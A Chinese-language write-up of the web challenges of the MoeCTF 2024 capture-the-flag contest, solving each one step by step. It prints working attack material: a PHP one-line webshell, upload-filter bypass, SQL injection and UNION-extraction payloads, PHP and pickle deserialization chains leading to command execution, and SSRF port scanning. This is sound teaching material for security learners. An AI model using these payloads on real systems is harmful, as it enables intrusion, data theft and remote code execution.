MoeCTF 2024 WriteUp Web方向(全部+详细)
MoeCTF2024 Write UP
CTFerName:fifker
题目链接:https://ctf.xidian.edu.cn/training/10
文章内容有些是大一刚学习的时候写的,有些是后来补写的,没有仔细核验校改。如果出现有误或者语言风格不统一请见谅!
Web
Web渗透测试与审计入门指北

下载得到两个文件,先看看HTML。

只有一行字
看看HTML的源代码,结合PHP文件内容来看,只需要配置一下phpstudy,把这两个文件都扔到phpstudy下面的WWW里面。
然后使用http打开HTML文件。
即可获得flag
弗拉格之地的入口

由题目可以得知一个叫做‘爬虫’的生物,由此可以想到机器人协议。

直接修改URL,查看disallow

就可以获得flag了。
垫刀之路01: MoeCTF?启动!

题目告诉我们已经获得了shell权限。

那么根据习惯,我们直接查看根目录/,发现了flag的踪迹。

cat查看一下,得知需要查看环境变量:1
env

查看环境变量可得flag。
ImageCloud前置

?URL是一个很经典的漏洞,开放重定向漏洞,因此我们可以控制重定向的目标。

得知flag所在地。

那就直接查看即可。

获得flag。
ez_http
一道经典考察http请求包的题目,但是流程较长,使用Hackbar容易崩溃。(包括使用者)
想都不用想,直接点击Hit the question setter
然后就会得到回复Big 胆
因此按照提示,使用POST方法传参。
由于使用Hackbar经常没办法坚持到流程结束,所以使用burp suite抓包。
(如图显示render的界面是发送后界面)

抓包并发送至repeater,选择render

如图所示,修改请求包,发送

同理

如图所示
这里涉及到两个知识点。
第一个是同时要使用POST方法和GET方法的时候,在HTTP请求包中使用POST方法。
第二个是GET方法传输汉字需要经过URL编码。

涉及到源头source,则使用referer朔源

设置曲奇饼干

修改代理浏览器

最后一步,本地访问,获得flag
ProveYourLove
(此题还有个七夕限定7分)
这里flag提示说’your love is not yet fulfilled’,那就代表要按照题目所说的表白300份

正常提交一份之后会发现无法再提交了。

因此打开bp,提交表白,寻找POST请求头的Http包。

将请求包发送至爆破模块

发送300+1条表白,表白成功,获得flag
弗拉格之地的挑战
这一题的流程也较长,题目难度从浅到深,很有意思,好玩!

首先看到下面的一个HTML文件,直接url转跳进去,开始第一关。

我们得知第一题的考点在HTML,又提到了一个关键词,空白。
那么我们学习HTML第一课就会提到注释这种东西。
F12查看源代码。

记下flag1,并且通过url转跳到flag2

flag2,习惯性看下源代码
既然说到了HTTP,那就代表需要抓包,bp启动!

抓包,然后扔到repeater,记下flag2,进入flag3

这个要求有点经典

GET的读取方法就在url里面

然后用hackbar POST一个参数b
(很好hackbar崩溃了,最后一步用bp来完成)

把认证从用户改成管理员即可。
记下flag3,继续向着flag4前进吧。

朔源,使用referer。

正式进入flag4。

听声辩位,要回答9,但是并没有。
阅读源代码,我们发现用POST方法传输一个’method=get’就可以了

(这里插播一个发现的预期解)
将按钮8的id改为9。


收好flag4,出发去flag5啦。

很明显直接输入’I want flag’是不行的。

阅读源代码,发现一个函数content。

同flag4,直接POST一个即可。

需要看代码了,来看看什么意思。
首先需要GET和POST方法都得到一个参数moe,并且要对这个moe里面的内容进行检索。
其次是参数moe里面有flag,但是又不能有flag。
那么我们就需要知道/i 的意思是大小写不敏感。
因此如果检索到有flag原原本本这四个字母,则会die。
但是如果输入Flag,fLag,在大小写敏感的情况下会检索不出来,但是不敏感的时候可以,则会echo出答案。

准备最后一关了。

最后一步,一个eval函数就已经告诉你了,这么危险的函数怎么不用下试试?

使用代码:1
system()
或者1
echo shell_exec()
(注意,括号里的命令是字符串。)
直接看一眼根目录有什么东西,看到了flag7。

拿到flag7。
我们可以发现7个flag都是一段字母,我们可以给它拼起来。
我们发现flag7的结尾是=,那么可以推测是Base64或者Base32。
放入在线解码器,获得flag。
至此7关完结,7关环环相扣,获得难度从低到高由浅入深,又涵盖了web方向常见的题目,用故事的方式引导参赛者一步一步学习前进,出的确实很巧妙。
垫刀之路02: 普通的文件上传

阅读题目,只需要写一个简单的木马就行。
我们可以写一个经典的一句话木马。1
<?php @eval($_POST['muma']); ?>
导入进去就可以获得shell权限了。
使用hackbar用POST方法或者蚁剑都可以,连接。(以下使用hackbar)
导入木马。

根据上一题的经验,直接查看环境变量,获得flag。
垫刀之路03: 这是一个图床
由题目可知,这次只能上传图片了,那么我们就将上一题的木马后缀改为jpg。
导入的时候使用bp抓包,在http请求包中修改后缀位php。


如图所示。

后面的内容与第二题一样的,获得flag。
垫刀之路04: 一个文件浏览器

readme告诉你了,这些东西都没用,直接看看上一级文件。

可以看到一些其他东西,那么就继续一层一层往上爬。

找到了万恶的cfbb的藏宝点。

获得flag。
静态网页

直接攻击看板娘。
既然说了后端,那就尝试抓包。

抓一个,发现并不是。

抓到了下一步的php题了。


代码审计,如图所示即可获得flag。
垫刀之路05: 登陆网站

输入万能密码。1
'or 1='1
垫刀之路06: pop base mini moe
1 |
|
审计一下源代码:
通过GET方法获取参数data,然后对data进行反序列化的操作。
因为这几个PHP题目是后来补写的,这里就不详细说明各个魔术方法的作用了。根据类A的__destruct()方法可以推测出A是本道POP链子的入口点,因此:
1 | $a = new A(); |
然后为了让链子能和类B相连,考虑到__invoke($c)魔术方法,因此就需要把类A的this->$a赋值为类B。然后我们会发现:
1 | private $a = new B(); |
会报错。为什么?因为PHP的类属性的默认值只能接受字面量或常量,不能接受表达式(包括对象实例化)。
因此你可以给a赋值一个null、布尔值、整数、浮点数、字符串、数组。但是就是不能使用函数、方法调用或new操作符,因为这些表达式在编译时无法求值。
因此我们只能在运行的时候动态赋值:
1 | function __construct() { |
这样在调用__destruct()方法的时候:
1 | function __destruct() { |
a作为一个类B的对象就会被当作函数调用从而触发__invoke()方法:
1 | function __invoke($c) { |
类A的evil属性就会作为类B中的c属性被当作参数传入这个“函数b”。那么我们只需要将b设置为system函数,就可以实现RCE了!
最后的exp(直接在源代码上面审计,修改是一个很好的方法,因此我只在源代码基础上修改了需要改的部分):
1 |
|
拿到flag。

后知后觉:这一题的class B根本用不上。我们重新审计代码:
1 | function __destruct() { |
我们会发现这里我们已经满足了RCE的全部条件。函数$s和参数$this->evil的内容我们全部可控。因此这样即可:
1 | private $evil = "cat /flag"; |
可能是为了考上面那个知识点吧。这里也告诉我们一道题未必所有类都要用上(有可能出题人有失误)。
垫刀之路07: 泄漏的密码

URL里直接跳转/console。

习惯性从根目录获得flag,但是被预判了。

放弃绝对路径,直接cat flag。
勇闯铜人阵
脚本题,写个脚本即可,脚本如下:
写出脚本,运行。

获得flag。
电院_Backend

dirsearch扫一下发现有robots.txt,发现admin路由。
进入后就是登陆界面了,看上去就是Sql注入入口。题目给了源码,看一眼:

1 |
|
这一看就是一个Sql注入,注入的位置在邮箱这里。来看看这里面的逻辑:
1 | preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email) |
这是一个正则表达式,对邮箱的格式进行了一个限制,相信会看这篇文章的同学应该还没有接触过正则表达式。所以我们先来看看这个这个表达式是什么意思:
| 符号 | 含义 | 说明 |
|---|---|---|
/ |
定界符 | 正则表达式的开始和结束 |
[a-zA-Z0-9] |
字符类 | 匹配任意单个字母(大小写)或数字 |
+ |
量词 | 匹配前面的字符类至少1次(1次或多次) |
@ |
字面量 | 匹配字符 @ |
[a-zA-Z0-9]+ |
同上 | 匹配域名部分(@后面到点之前) |
\\. |
转义的点 | 匹配字面量点号 .(因为点在正则中是特殊字符) |
[a-zA-Z0-9]+ |
同上 | 匹配顶级域名(com、cn等) |
因此,只要满足这个要求的邮箱都可以通过,比如:
| 邮箱 | 拆解 |
|---|---|
| abc@def.com | abc + @ + def + . + com |
| a1@b2.c3 | a1 + @ + b2 + . + c3 |
| 123@456.789 | 纯数字也OK |
| admin@localhost.com | 正常邮箱 |
| 1@1.1 | 最短情况(1个字符@1个字符.1个字符) |
但是问题来了!这个正则表达式是没有锚定边界的。
补充说明:什么是锚定边界?
锚定边界就是使用^和$来限制匹配的位置。
当前代码是这样的:
1 | "/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/" |
意思是在字符串的任意位置找到这个模式就算匹配成功,可以匹配字符串的开头、中间或结尾。
这就意味着这些全部能匹配成功!你可以在邮箱前面后面塞入任何你想塞入的代码。
| 邮箱 | 拆解 |
|---|---|
| xxx abc@def.com xxx | 前后有字符 |
| 1@1.1’ or 1=1 | 后面拼接Sql |
| 恶意代码1@1.1恶意代码 | 前后都可以 |
我们来对比一下有锚定边界的安全写法:
1 | "/^[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+$/" |
| 符号 | 含义 |
|---|---|
^ |
匹配字符串开头 |
$ |
匹配字符串结尾 |
这意味着整个字符串必须完全符合这个模式,不能多任何字符。
| 邮箱 | 拆解 |
|---|---|
| abc@def.com | 纯邮箱 |
| xxx abc@def.com | 不行,开头多了字符 |
| abc@def.com xxx | 不行,结尾多了字符 |
| 1@1.1’ or 1=1 | 不行,后面拼接Sql |
因此,这个没有锚定边界的正则就可以直接无视,进行Sql注入。
然后是对于or的限制:
1 | preg_match("/or/i", $email) |
这里的参数i意味着大小写不敏感,也就是or、Or、OR、oR都不可以通过。这其实很简单,使用||就可以了…
所以最后的exp:
1 | 1@1.1' || 1=1 # |

pop moe
首先依然还是审计源代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
class class000 {
private $payl0ad = 0;
protected $what;
public function __destruct()
{
$this->check();
}
public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}
class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}
class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}
public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}
}
class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}
public function __tostring()
{
return $this->mystr;
}
}
if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}
在class000中看到了__destruct()魔术方法,那么基本这个POP链的开头就是class000了。那我们就顺着class000往下看:
1 | class class000 { |
首先$this->payl0ad不能为0,因此我们要改一下,比如改成1就可以了。
然后这里会触发check()函数,会让$this->what被当作函数调用。由此我们可以自然想到__invoke()魔术方法,并且在类class001里面找到了,因此自然想到把$this->what通过__construct()魔术方法构造类class001的对象。(为什么要使用__construct()魔术方法在前文垫刀之路6里面有详细说明)
接下来我们继续往下看:
1 | class class001 { |
这里会把$this->payl0ad赋值给$this->a的payload。乍一眼看很迷惑对吧。我们来结合class002看看呢?
1 | class class002 { |
这里__set()魔术方法说明了一切:“当尝试写入一个不可访问或不存在的属性时,__set()魔术方法会被调用”。
那就很好想到了,把$this->a构造为类class002的对象,那class002自然不可能存在payl0ad这个属性,就会触发__set()魔术方法。这时候class001的$this->payl0ad就会当作__set($a, $b)的参数$b被传入。
这样就可以把$this->payl0ad设置为dangerous来调用dangerous函数了。
为了保证前后可以衔接,我们先来看看class003,看看怎么样才能实现RCE:
1 | class class003 { |
很明显,最后RCE的地方是evvval函数,参数$str为我们执行的命令。
但是矛盾出现了?函数dangerous($whaattt)的作用是触发$whaattt的函数evvval($this->sec)。很明显$whaattt只能是类class003的一个对象。
但是,从上一条魔术方法__set()那里可以得知,$whaattt和$this->sec是等价的。一个是对象,一个是字符串,怎么办?这时候我们刚好能发现class003居然有一个__toString()魔术方法,一切都解决了,成功RCE。
最后发现cat /flag居然什么也没有,根据MoeCTF的习惯查看一下环境变量,拿到flag。
总结来说就是class000->class001->class002->class003这样一条链子。出题人很贴心顺序都帮你标好了。
对于初次学习的同学来说,POP确实是很绕的有难度的。不仅要熟悉各个魔术方法的调用条件,更要能理清楚链子的顺序和关系。不过熟悉操作后就会发现只是一个普通的逻辑游戏罢了,主要还是静下心来一点一点理清楚不同类之间的关系,建议自己动手自己分析一次。
exp:
1 |
|

从零开始的 XDU 教书生活
先来看看题目信息:让所有学生都以学生账号本人完成签到,然后以教师身份结束签到活动,获得 Flag。
并且有以下信息:
- 教师账号:
10000 / 10000 - 学生账号:
用户名 == 手机号 == 密码 - 二维码页面前端每 10 秒自动刷新一次
首先,学生账号是随机生成的,程序启动时会执行:
1 | gen(0, 10000000, 1024) |
会随机生成 1024 个学生账号,并把:用户名、手机号、密码都设置成同一个值。这意味着一旦我们拿到学生 UID,就等于同时拿到了账号和密码。
然后就是学生列表泄露:/widget/sign/pcTeaSignController/showSignInfo1。
这个接口没有任何鉴权,直接返回所有已签到/未签到学生列表:
yiqianListchangeUnSignListtotal
也就是说,不需要登录教师账号,就能直接拿到 1024 个学生的 UID。所以这一步已经等价于拿到了所有学生账号口令。
接着就是当前二维码泄露:/v2/apis/sign/refreshQRCode这个接口同样没有鉴权,任何人都可以调用:
1 | { |
它会直接把当前可用签到二维码中的两个关键参数返回给我们:signCode和enc。
那问题来了,题面说二维码每 10 秒刷新一次这个二维码不是会变化吗?
但审源码可知,所谓“刷新”其实只是教师端页面里的 JS 定时器在调用:
1 | setInterval("ewm()", timefq); |
然后 ewm() 去请求:
1 | /v2/apis/sign/refreshQRCode |
也就是说二维码“10 秒过期”只是前端行为,不是后端强制过期,后端并没有记录二维码生成时间,也没有校验二维码是否超时。
我们再来看看学生签到接口/widget/sign/e的逻辑:
- 必须带有学生自己的
tokencookie - 请求参数必须携带:
id、c、enc - 命中当前二维码后,把学生状态从
0改成1
也就是学生签到接口只检查三个点:
id是否等于当前活动 IDc是否等于当前signCodeenc是否等于当前enc
因此只要没有再次触发 refreshQRCode,当前二维码就会一直有效。
这就是题目真正的突破口之一。
所以,想让“所有学生本人签到”,本质上只需要:先用学生账号登录,拿到学生 token。再带着这个 token 去访问签到接口。这完
全是可以自动化的。
同时登录接口/fanyalogin 支持参数 t:
t == "true":按前端逻辑走 AES 解密- 否则:直接把传入值当明文
所以我们没必要复现前端 AES,只需要明文提交:
1 | uname=<账号> |
即可完成登录。
最后就是结束活动拿Flag的接口/widget/active/endActive。
这个接口要求教师身份调用。
逻辑非常直接:先把活动状态改成结束,然后遍历所有学生。
只有当所有学生状态都为 1 时,才把 errorMsg 设置为 Flag。
exp:
1 | import json |

ImageCloud
题目有两个 Flask 服务:
app.py是外层服务,对外暴露的图片上传/加载服务。app2.py是内层服务,随机端口启动,保存并返回 uploads/ 下的图片。
看到内网我们就可以先考虑SSRF(服务端请求伪造)了,SSRF关键点就是:请求不是从攻击者机器发出的,而是攻击者利用漏洞从目标服务器发出的。
因此SSRF常见的情况有:
- 访问外网无法直接访问的内网服务,例如
127.0.0.1、localhost、Docker 内部网络、云内网地址等。 - 探测服务器本机或内网开放端口。
- 绕过基于 IP 的访问控制,因为被访问服务看到的来源是目标服务器自身。
- 在云环境中读取元数据服务,例如历史上常见的
169.254.169.254。
本题中,攻击者无法直接访问内部随机端口服务,但可以让外层服务通过 requests.get(url) 去请求 http://127.0.0.1:<port>/image/flag.jpg,这就是 SSRF 的利用场景。
先审计app.py:
1 |
|
这里有几个明显问题:
url = request.args.get('url')直接从用户参数中取URL。requests.get(url)直接让服务端访问这个URL。- 代码没有做任何目标地址限制。
- 后面的
Image.open(BytesIO(response.content))只会检查返回内容是不是图片,但内部的flag.jpg本身就是合法JPEG图片,所以可以通过这层检查。
因此,只要构造这样的url:
1 | http://127.0.0.1:43669/image?url=http://127.0.0.1:<内网端口>/image/flag.jpg |
外层服务就会执行,对内网发起请求:
1 | requests.get("http://127.0.0.1:<内网端口>/image/flag.jpg") |
然后我们再对于app2.py审计:
1 | UPLOAD_FOLDER = 'uploads/' |
图片读取接口:
1 |
|
随机端口启动逻辑:
1 | def find_free_port_in_range(start_port, end_port): |
也可以得到几个关键信息:
- 内层服务的文件目录是
uploads/。 - 题目源码中存在
uploads/flag.jpg。 - 访问路径是
/image/<filename>,因此目标文件路径为/image/flag.jpg。 - 内层服务端口不是固定的,而是在
5001-6000中随机选择。
所以我们只需要通过 SSRF 枚举端口:
1 | http://127.0.0.1:43669/image?url=http://127.0.0.1:5001/image/flag.jpg |
当端口正确时,外层服务会返回图片内容;端口错误时,请求失败并返回错误信息。写一个Python脚本或者bp来爆破端口,看看哪一个端口返回的结果不一样就行。

拿到flag(真难读啊):moectf{c3TtEBR@t3_yoU_attACk_tO-My-tm@G3_CtoudhHhhhH4f6}
PetStore
老规矩,先审计源代码:
1 | from flask import Flask, request, jsonify, render_template, redirect |
这里我们可以看到一个有意思的地方:
1 | def import_pet(self, serialized_pet) -> bool: |
这里可能会让人产生一个误区,就是有一行if isinstance(pet, Pet):进行验证,可以避免植入恶意代码。
事实上当你注入恶意代码的时候,pet = pickle.loads(pet_data)在这里就已经执行了,在这后面做的判断没有任何意义。因此这就是一个基础的pickle反序列化的题目,唯一难点在于没有回显。经过测试发现题目不出网,有可能DNS外带是可行的,这里留给读者自行测试,以下我们给出两种解法:
第一是徒手构造Pickle Opcode,进行静态文件写入,把环境变量和根目录写入./static/flag.txt,就可以直接阅读了。
1 | import pickle |
1 | --- Opcode 解析逻辑 --- |
第二个就是使用flask 内存马,这个更省事,打入之后直接GET传参cmd就可以RCE了。
1 | import pickle |

smbms
是一道Java的代码审计,只是套了个Java的壳子,本质上还是一道简单的Sql注入题目,只是增大了代码量,并没有考到反序列化什么的。
首先我们打开环境,是一个登陆页面。可能会尝试Sql注入进去,但是审计代码会发现整个Java项目都使用PrepareStatement预编译语句,所以一般情况下是不能注入的。
所以登陆进去的考点就是爆破。查看源代码里面的Sql语句,能看到提示weak_auth,表示这是一个弱密码。
经过测试,admin的密码是1234567,其他用户的密码是0000000。

在审计代码前,插一嘴解释一下为什么这个Java项目都使用PrepareStatement预编译语句,一般情况下是不能注入的。
首先我们要从编译原理视角来看看数据库是如何执行Sql的:
当你发送一条Sql语句给MySql等数据库时,它并不是像读课文一样直接读懂的,它需要经过词法分析和语法分析,最终生成一棵抽象语法树(AST)。
数据库引擎只会严格按照这棵树的结构去执行查询。
那为什么“字符串拼接”会产生漏洞?
在字符串拼接的模式下,程序是先在后端把Sql语句的文本拼好,然后再整个发给数据库去解析。
假设你的原始代码意图是:SELECT * FROM users WHERE username = '【用户输入】'
如果攻击者输入了admin' OR '1'='1,后端拼接出来的完整字符串变成了:SELECT * FROM users WHERE username = 'admin' OR '1'='1'
致命的问题发生在这里:
当这个拼接好的长字符串发给数据库时,数据库的语法解析器会重新审视这句话。它看到单引号闭合了,并且识别到了OR这个Sql关键字。于是,数据库的解析器在生成AST时,会顺理成章地画出一个OR的逻辑分支节点。
攻击者输入的原本应该是“数据”,却成功欺骗了解析器,修改了这棵语法树的结构,变成了“指令”。
那么, “参数化查询”(预编译机制)是如何防住的?
参数化查询(也就是PreparedStatement所做的事情)运用了“预编译”的思想,它的核心防御机制是:将Sql语句的结构解析,与数据的绑定,分两步严格隔离执行。
第一步:发送模板(锁定语法树结构)
程序首先把带有占位符?的Sql模板发给数据库:SELECT * FROM users WHERE username = ?
此时,数据库对这个模板进行词法和语法分析,生成了一棵结构被永远锁定的语法树。这棵树上有一个明确的节点:这里需要一个数据,且只能是数据。
第二步:发送数据(纯值绑定)
程序把攻击者输入的恶意数据'admin' OR '1'='1'作为单独的参数发给数据库,填入刚才预留的?节点。
在这个阶段,数据库已经完成了语法解析。无论你传进来的数据里有多少个单引号、多少个OR、多少个UNION,数据库引擎都只把它当成一个“纯粹的字符串字面量。
好的,解释了一下为什么这个Java项目都使用PrepareStatement预编译语句,一般情况下是不能注入的。
为什么是一般情况下?
虽然我们不能哪里都能注入,但是我们还是可以找到一些端倪:
Sql注入的核心就是字符串拼接,我们看到java/top/sxrhhh/dao/user/UserDaoImpl.java文件,看到getUserList方法,这个方法就是获取用户列表的,就是一个查表的函数。注意到这一行:
1 | if (!StringUtils.isNullOrEmpty(userName)) { |
之前说过,Sql注入最重要的就是拼接字符串。这里就直接把userName拼接到Sql语句中,所以userName就可以作为注入点。
首先,这里的注入比较特殊,不能直接用—或者#闭合:
1 | sql.append(" order by creationDate DESC limit ?,?"); |
因为在代码后半部分限制了要传入两个参数,直接闭合的话会因为找不到这两个参数而报错。正常操作就是在后面加上&queryUserRole=0&pageIndex=1把逻辑闭合,不过还有一个更巧妙的思路:既然你JDBC强制要求语句里必须有2个?,那我就自己造2个?给你,这样就可以放心闭合了。
接下来就是联合注入了:
首先联合注入的第一步通常都是ORDER BY,但是上文代码我们会发现原本语句已经有ORDER BY了。在一个常规的查询语句中,不能出现两个独立的ORDER BY关键字(除非是嵌套的子查询)。
所以我们之间增量遍历猜列数,从1列开始猜(当然,由于源代码给你了,你也可以之间去源代码里面看列数)。
admin%' UNION SELECT 1 limit ?,? --
这时候我们会发现数据库是没有回显的,就代表一列是不对的。(因为用户管理里面没有admin导致没有回显,正常测试的时候可以把这个admin换成孙兴,这样没有出现孙兴就是注入有误)

admin%' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 limit ?,? --

这里有回显了,就知道是14列,并且回显列在2,3,7,14上面,这里我们用3来注入。剩下就是基础的联合注入流程,不再过多赘述。
admin%' UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14 FROM information_schema.tables WHERE table_schema=database() limit ?,? --

admin%' UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14 FROM information_schema.columns WHERE table_name='flag' limit ?,? --

admin%' UNION SELECT 1,2,flag,4,5,6,7,8,9,10,11,12,13,14 FROM flag limit ?,? --

拿到flag。